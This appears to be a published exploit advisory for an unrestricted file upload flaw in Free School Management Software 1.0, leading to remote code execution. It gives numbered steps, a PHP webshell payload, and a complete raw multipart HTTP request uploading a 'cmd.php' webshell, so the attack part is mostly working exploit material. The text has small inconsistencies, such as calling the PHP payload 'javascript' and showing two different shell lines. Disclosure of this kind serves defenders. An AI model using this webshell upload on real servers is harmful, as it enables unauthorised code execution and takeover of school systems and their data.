Free School Management Software 1.0 - Remote Code Execution (RCE)

# Exploit Title: Free School Management Software 1.0 - Remote Code Execution (RCE)
# Exploit Author: fuuzap1
# Date: 7-12-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip
# Version: 1.0
# Tested on: windows
# Vulnerable page: http://localhost/admin/examQuestion


Technical description:
A unrestricted file upload vulnerability exists in the Free school
management software v1.0. An attacker can leverage this vulnerability in
order to get a remote code execution on the affected web server. Once a php
webshell containing "<?php system($_GET["cmd"]); ?>"  gets uploaded it is
getting save  into /uploads/exam_question/ directory, and is accessible by
all users.  the attacker can gain remote code execution on the web server.

Steps to exploit:
1) Navigate to http://localhost/admin/manage_profile
2) click "ADD NEW QUESTION PAPER" edit base infomation
3) uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" in
the Field  "upload Drag and drop a file here or click"
3) Click "save"
4) open  http://localhost/uploads/exam_question/cmd.php?cmd=phpinfo() then
php code execution
Proof of concept (Poc):
The following payload will allow you to run the javascript -
<?php system($_GET["cmd"]); ?>

---
POST /admin/examQuestion/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------183813756938980137172117669544
Content-Length: 1331
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/examQuestion
Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q
Upgrade-Insecure-Requests: 1

-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="name"

test4
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="class_id"

2
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="subject_id"

5
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="timestamp"

2021-12-08
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="teacher_id"

1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_type"

txt
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="status"

1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="description"

123123
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="_wysihtml5_mode"

1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_name"; filename="cmd.php"
Content-Type: application/octet-stream

<?php eval($_GET["cmd"]); ?>
-----------------------------183813756938980137172117669544--
---